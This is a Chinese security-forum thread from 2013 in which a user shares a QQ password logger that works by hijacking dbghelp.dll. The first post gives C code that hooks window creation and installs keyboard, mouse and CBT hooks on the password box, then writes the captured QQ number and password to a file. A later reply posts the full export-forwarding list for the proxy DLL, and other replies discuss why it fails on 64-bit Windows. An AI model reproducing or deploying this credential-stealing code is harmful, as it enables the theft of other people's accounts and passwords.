首页
社区
课程
招聘
[分享]发一个我用劫持dbghelp.dll做的QQ密码记录
发表于: 2013-5-20 22:15 11063

[分享]发一个我用劫持dbghelp.dll做的QQ密码记录

2013-5-20 22:15
11063
[/CODE]先说一下我是怎么做的,安装监控,其实就是将Hook DLL复制为dbghelp.dll到xx目录下,然后把系统的dbghelp.dll改名_dbghelp.dll复制到xx的目录下,也就是劫持dbghelp.dll
卸载监控,其实就是删除劫持DLL而已
另外只有关闭了QQ主窗口,密码才会记录下来

在Hook DLL里面我Hook了GetForegroundWindow、和CreateWindowExA,Hook CreateWindowExA很简单,因为创建密码框的时候会调用该函数,从xx软件创建登录框整个过程,它只创建一个编辑框,因此判断下它是否是"Edit"类名就行了

[ATTACH]79116[/ATTACH]

[ATTACH]79117[/ATTACH]

貌似好多人测试不成功,我是从百度下的最新QQ,那我发一点代码,不管行不行都不能全发

HOOK GetForegroundWindow方法,直接返回NULL
[CODE]

HWND WINAPI FakedGetForegroundWindow()
{
	return NULL;
}



HOOK CreateWindowExA的方法,主要是得到主窗口和QQ密码框的句柄,并开始安装局部钩子

HWND WINAPI FakedCreateWindowExA(
	DWORD dwExStyle,
	LPCSTR lpClassName,
	LPCSTR lpWindowName,
	DWORD dwStyle,
	int X,
	int Y,
	int nWidth,
	int nHeight,
	HWND hWndParent,
	HMENU hMenu,
	HINSTANCE hInstance,
	LPVOID lpParam)
{
	HWND			hTmpWnd;
	DWORD			dwTID;

	hTmpWnd = RealCreateWindowExA(
		dwExStyle,
		lpClassName,
		lpWindowName,
		dwStyle,
		X,
		Y,
		nWidth,
		nHeight,
		hWndParent,
		hMenu,
		hInstance,
		lpParam);
	if(hTmpWnd && lpClassName && hWndParent)
	{
		if(lstrcmpi(lpClassName, "Edit") == 0)
		{
			g_hQQMain = hWndParent;
			g_hQQPass = hTmpWnd;

			//获取 QQ密码框 线程ID
			dwTID = GetWindowThreadProcessId(g_hQQPass,0);

			//安装只针对 QQ密码框线程 的键盘鼠标钩子
			g_hKeyboardhook = SetWindowsHookEx(WH_KEYBOARD, Keyboard_HookProc, NULL, dwTID);
			g_hMousehook = SetWindowsHookEx(WH_MOUSE, Mouse_HookProc, NULL, dwTID);

			//安装只针对 QQ密码框线程 的CBT钩子
			g_hCBThook = SetWindowsHookEx(WH_CBT, CBTHookProc, NULL, dwTID);
		}
	}

	return hTmpWnd;
}



CBT 钩子函数,安装此钩子的目的主要是得到主窗口关闭的消息,保存密码,并且卸载自身
LRESULT CALLBACK CBTHookProc( int code, WPARAM wParam, LPARAM lParam )
{
	HWND		hWnd = (HWND)wParam;

	if(code < 0)
		return CallNextHookEx(g_hCBThook, code, wParam, lParam);

	if(code == HCBT_ACTIVATE)
	{
	}
	else if(code == HCBT_SETFOCUS)
	{
	}
	else if(code == HCBT_DESTROYWND)
	{
		//终极目标已经达到
		if(hWnd == g_hQQMain)
		{
			//写入到记录文件
			FILE *fp;
			fp = fopen(g_szRecordPath, "a+");
			fprintf(fp, "QQ号:%s, QQ密码:%s\n", g_szNum, g_szPass);
			fclose(fp);
			
			//卸载所有钩子
			if(g_hMousehook)
				UnhookWindowsHookEx(g_hMousehook);
			if(g_hKeyboardhook)
				UnhookWindowsHookEx(g_hKeyboardhook);
			if(g_hCBThook)
				UnhookWindowsHookEx(g_hCBThook);

			//卸载自身
			CloseHandle(CreateThread(0, 0, (LPTHREAD_START_ROUTINE)UnloadProc, 0, 0, NULL));
		}
	}

	return CallNextHookEx(g_hCBThook, code, wParam, lParam);
}




本程序仅供娱乐,如有违规,请吧务帮我删除

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
收藏
免费 0
支持
分享
最新回复 (12)
雪    币: 188
活跃值: (32)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
2
这个得测试了才能知道什么情况!
2013-5-20 22:40
0
雪    币: 86
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
3
最新qq 无效....
2013-5-21 00:09
0
雪    币: 778
活跃值: (208)
能力值: ( LV9,RANK:260 )
在线值:
发帖
回帖
粉丝
4
我从百度下的QQ,可以记录,你什么系统?
2013-5-21 06:45
0
雪    币: 86
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
5
win7+qq2013   这个为啥能加载,其实你可以细究,在一定程度上,如果你知道能加载的原理,其实不需要 两份  dbghlp.dll _dbghlp.dll 。。。
2013-5-21 07:24
0
雪    币: 778
活跃值: (208)
能力值: ( LV9,RANK:260 )
在线值:
发帖
回帖
粉丝
6
根据加载顺序,它首先从当前目录开始加载,如果找不到的话再从系统目录加载
我用的是xp,加从百度下的最新版
2013-5-21 07:30
0
雪    币: 86
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
7
自己测一下win7呗...马甲能进去.....但没有截获密码....  你还是没懂我...哎
2013-5-21 07:54
0
雪    币: 778
活跃值: (208)
能力值: ( LV9,RANK:260 )
在线值:
发帖
回帖
粉丝
8
你是64位系统?64位系统根本就没用那个qqpretect.sys,因此不能用一般的方法来记录
2013-5-21 07:58
0
雪    币: 143
活跃值: (263)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
9
这么多人都搞球啊
2013-5-21 07:59
0
雪    币: 778
活跃值: (208)
能力值: ( LV9,RANK:260 )
在线值:
发帖
回帖
粉丝
10
发我用来劫持的代码,这是用某个工具生成的


#pragma comment(linker, "/EXPORT:DbgHelpCreateUserDump=_dbghelp.DbgHelpCreateUserDump,@1")
#pragma comment(linker, "/EXPORT:DbgHelpCreateUserDumpW=_dbghelp.DbgHelpCreateUserDumpW,@2")
#pragma comment(linker, "/EXPORT:EnumerateLoadedModules64=_dbghelp.EnumerateLoadedModules64,@3")
#pragma comment(linker, "/EXPORT:EnumerateLoadedModules=_dbghelp.EnumerateLoadedModules,@4")
#pragma comment(linker, "/EXPORT:ExtensionApiVersion=_dbghelp.ExtensionApiVersion,@5")
#pragma comment(linker, "/EXPORT:FindDebugInfoFile=_dbghelp.FindDebugInfoFile,@6")
#pragma comment(linker, "/EXPORT:FindDebugInfoFileEx=_dbghelp.FindDebugInfoFileEx,@7")
#pragma comment(linker, "/EXPORT:FindExecutableImage=_dbghelp.FindExecutableImage,@8")
#pragma comment(linker, "/EXPORT:FindExecutableImageEx=_dbghelp.FindExecutableImageEx,@9")
#pragma comment(linker, "/EXPORT:FindFileInPath=_dbghelp.FindFileInPath,@10")
#pragma comment(linker, "/EXPORT:FindFileInSearchPath=_dbghelp.FindFileInSearchPath,@11")
#pragma comment(linker, "/EXPORT:GetTimestampForLoadedLibrary=_dbghelp.GetTimestampForLoadedLibrary,@12")
#pragma comment(linker, "/EXPORT:ImageDirectoryEntryToData=_dbghelp.ImageDirectoryEntryToData,@13")
#pragma comment(linker, "/EXPORT:ImageDirectoryEntryToDataEx=_dbghelp.ImageDirectoryEntryToDataEx,@14")
#pragma comment(linker, "/EXPORT:ImageNtHeader=_dbghelp.ImageNtHeader,@15")
#pragma comment(linker, "/EXPORT:ImageRvaToSection=_dbghelp.ImageRvaToSection,@16")
#pragma comment(linker, "/EXPORT:ImageRvaToVa=_dbghelp.ImageRvaToVa,@17")
#pragma comment(linker, "/EXPORT:ImagehlpApiVersion=_dbghelp.ImagehlpApiVersion,@18")
#pragma comment(linker, "/EXPORT:ImagehlpApiVersionEx=_dbghelp.ImagehlpApiVersionEx,@19")
#pragma comment(linker, "/EXPORT:MakeSureDirectoryPathExists=_dbghelp.MakeSureDirectoryPathExists,@20")
#pragma comment(linker, "/EXPORT:MapDebugInformation=_dbghelp.MapDebugInformation,@21")
#pragma comment(linker, "/EXPORT:MiniDumpReadDumpStream=_dbghelp.MiniDumpReadDumpStream,@22")
#pragma comment(linker, "/EXPORT:MiniDumpWriteDump=_dbghelp.MiniDumpWriteDump,@23")
#pragma comment(linker, "/EXPORT:SearchTreeForFile=_dbghelp.SearchTreeForFile,@24")
#pragma comment(linker, "/EXPORT:StackWalk64=_dbghelp.StackWalk64,@25")
#pragma comment(linker, "/EXPORT:StackWalk=_dbghelp.StackWalk,@26")
#pragma comment(linker, "/EXPORT:SymCleanup=_dbghelp.SymCleanup,@27")
#pragma comment(linker, "/EXPORT:SymEnumSourceFiles=_dbghelp.SymEnumSourceFiles,@28")
#pragma comment(linker, "/EXPORT:SymEnumSym=_dbghelp.SymEnumSym,@29")
#pragma comment(linker, "/EXPORT:SymEnumSymbols=_dbghelp.SymEnumSymbols,@30")
#pragma comment(linker, "/EXPORT:SymEnumTypes=_dbghelp.SymEnumTypes,@31")
#pragma comment(linker, "/EXPORT:SymEnumerateModules64=_dbghelp.SymEnumerateModules64,@32")
#pragma comment(linker, "/EXPORT:SymEnumerateModules=_dbghelp.SymEnumerateModules,@33")
#pragma comment(linker, "/EXPORT:SymEnumerateSymbols64=_dbghelp.SymEnumerateSymbols64,@34")
#pragma comment(linker, "/EXPORT:SymEnumerateSymbols=_dbghelp.SymEnumerateSymbols,@35")
#pragma comment(linker, "/EXPORT:SymEnumerateSymbolsW64=_dbghelp.SymEnumerateSymbolsW64,@36")
#pragma comment(linker, "/EXPORT:SymEnumerateSymbolsW=_dbghelp.SymEnumerateSymbolsW,@37")
#pragma comment(linker, "/EXPORT:SymFindFileInPath=_dbghelp.SymFindFileInPath,@38")
#pragma comment(linker, "/EXPORT:SymFromAddr=_dbghelp.SymFromAddr,@39")
#pragma comment(linker, "/EXPORT:SymFromName=_dbghelp.SymFromName,@40")
#pragma comment(linker, "/EXPORT:SymFunctionTableAccess64=_dbghelp.SymFunctionTableAccess64,@41")
#pragma comment(linker, "/EXPORT:SymFunctionTableAccess=_dbghelp.SymFunctionTableAccess,@42")
#pragma comment(linker, "/EXPORT:SymGetFileLineOffsets64=_dbghelp.SymGetFileLineOffsets64,@43")
#pragma comment(linker, "/EXPORT:SymGetLineFromAddr64=_dbghelp.SymGetLineFromAddr64,@44")
#pragma comment(linker, "/EXPORT:SymGetLineFromAddr=_dbghelp.SymGetLineFromAddr,@45")
#pragma comment(linker, "/EXPORT:SymGetLineFromName64=_dbghelp.SymGetLineFromName64,@46")
#pragma comment(linker, "/EXPORT:SymGetLineFromName=_dbghelp.SymGetLineFromName,@47")
#pragma comment(linker, "/EXPORT:SymGetLineNext64=_dbghelp.SymGetLineNext64,@48")
#pragma comment(linker, "/EXPORT:SymGetLineNext=_dbghelp.SymGetLineNext,@49")
#pragma comment(linker, "/EXPORT:SymGetLinePrev64=_dbghelp.SymGetLinePrev64,@50")
#pragma comment(linker, "/EXPORT:SymGetLinePrev=_dbghelp.SymGetLinePrev,@51")
#pragma comment(linker, "/EXPORT:SymGetModuleBase64=_dbghelp.SymGetModuleBase64,@52")
#pragma comment(linker, "/EXPORT:SymGetModuleBase=_dbghelp.SymGetModuleBase,@53")
#pragma comment(linker, "/EXPORT:SymGetModuleInfo64=_dbghelp.SymGetModuleInfo64,@54")
#pragma comment(linker, "/EXPORT:SymGetModuleInfo=_dbghelp.SymGetModuleInfo,@55")
#pragma comment(linker, "/EXPORT:SymGetModuleInfoW64=_dbghelp.SymGetModuleInfoW64,@56")
#pragma comment(linker, "/EXPORT:SymGetModuleInfoW=_dbghelp.SymGetModuleInfoW,@57")
#pragma comment(linker, "/EXPORT:SymGetOptions=_dbghelp.SymGetOptions,@58")
#pragma comment(linker, "/EXPORT:SymGetSearchPath=_dbghelp.SymGetSearchPath,@59")
#pragma comment(linker, "/EXPORT:SymGetSymFromAddr64=_dbghelp.SymGetSymFromAddr64,@60")
#pragma comment(linker, "/EXPORT:SymGetSymFromAddr=_dbghelp.SymGetSymFromAddr,@61")
#pragma comment(linker, "/EXPORT:SymGetSymFromName64=_dbghelp.SymGetSymFromName64,@62")
#pragma comment(linker, "/EXPORT:SymGetSymFromName=_dbghelp.SymGetSymFromName,@63")
#pragma comment(linker, "/EXPORT:SymGetSymNext64=_dbghelp.SymGetSymNext64,@64")
#pragma comment(linker, "/EXPORT:SymGetSymNext=_dbghelp.SymGetSymNext,@65")
#pragma comment(linker, "/EXPORT:SymGetSymPrev64=_dbghelp.SymGetSymPrev64,@66")
#pragma comment(linker, "/EXPORT:SymGetSymPrev=_dbghelp.SymGetSymPrev,@67")
#pragma comment(linker, "/EXPORT:SymGetTypeFromName=_dbghelp.SymGetTypeFromName,@68")
#pragma comment(linker, "/EXPORT:SymGetTypeInfo=_dbghelp.SymGetTypeInfo,@69")
#pragma comment(linker, "/EXPORT:SymInitialize=_dbghelp.SymInitialize,@70")
#pragma comment(linker, "/EXPORT:SymLoadModule64=_dbghelp.SymLoadModule64,@71")
#pragma comment(linker, "/EXPORT:SymLoadModule=_dbghelp.SymLoadModule,@72")
#pragma comment(linker, "/EXPORT:SymLoadModuleEx=_dbghelp.SymLoadModuleEx,@73")
#pragma comment(linker, "/EXPORT:SymMatchFileName=_dbghelp.SymMatchFileName,@74")
#pragma comment(linker, "/EXPORT:SymMatchString=_dbghelp.SymMatchString,@75")
#pragma comment(linker, "/EXPORT:SymRegisterCallback64=_dbghelp.SymRegisterCallback64,@76")
#pragma comment(linker, "/EXPORT:SymRegisterCallback=_dbghelp.SymRegisterCallback,@77")
#pragma comment(linker, "/EXPORT:SymRegisterFunctionEntryCallback64=_dbghelp.SymRegisterFunctionEntryCallback64,@78")
#pragma comment(linker, "/EXPORT:SymRegisterFunctionEntryCallback=_dbghelp.SymRegisterFunctionEntryCallback,@79")
#pragma comment(linker, "/EXPORT:SymSetContext=_dbghelp.SymSetContext,@80")
#pragma comment(linker, "/EXPORT:SymSetOptions=_dbghelp.SymSetOptions,@81")
#pragma comment(linker, "/EXPORT:SymSetSearchPath=_dbghelp.SymSetSearchPath,@82")
#pragma comment(linker, "/EXPORT:SymSetSymWithAddr64=_dbghelp.SymSetSymWithAddr64,@83")
#pragma comment(linker, "/EXPORT:SymUnDName64=_dbghelp.SymUnDName64,@84")
#pragma comment(linker, "/EXPORT:SymUnDName=_dbghelp.SymUnDName,@85")
#pragma comment(linker, "/EXPORT:SymUnloadModule64=_dbghelp.SymUnloadModule64,@86")
#pragma comment(linker, "/EXPORT:SymUnloadModule=_dbghelp.SymUnloadModule,@87")
#pragma comment(linker, "/EXPORT:UnDecorateSymbolName=_dbghelp.UnDecorateSymbolName,@88")
#pragma comment(linker, "/EXPORT:UnmapDebugInformation=_dbghelp.UnmapDebugInformation,@89")
#pragma comment(linker, "/EXPORT:WinDbgExtensionDllInit=_dbghelp.WinDbgExtensionDllInit,@90")
#pragma comment(linker, "/EXPORT:dbghelp=_dbghelp.dbghelp,@91")
#pragma comment(linker, "/EXPORT:dh=_dbghelp.dh,@92")
#pragma comment(linker, "/EXPORT:lm=_dbghelp.lm,@93")
#pragma comment(linker, "/EXPORT:lmi=_dbghelp.lmi,@94")
#pragma comment(linker, "/EXPORT:omap=_dbghelp.omap,@95")
#pragma comment(linker, "/EXPORT:srcfiles=_dbghelp.srcfiles,@96")
#pragma comment(linker, "/EXPORT:sym=_dbghelp.sym,@97")
#pragma comment(linker, "/EXPORT:vc7fpo=_dbghelp.vc7fpo,@98")

2013-5-21 08:31
0
雪    币: 45
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
对QQ 神马的,最有兴趣了~~~
2013-5-21 08:39
0
雪    币: 11
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
12
无语  过几天就有人出来说远程线程注入也是漏洞了
2013-5-21 10:30
0
雪    币: 967
活跃值: (1138)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
13
不说脏话,楼上的在你还没有这个能力的时候 你能不能低调一下啊,你自己看看你发的35个帖子啊
2013-5-21 10:33
0
游客
登录 | 注册 方可回帖
返回
//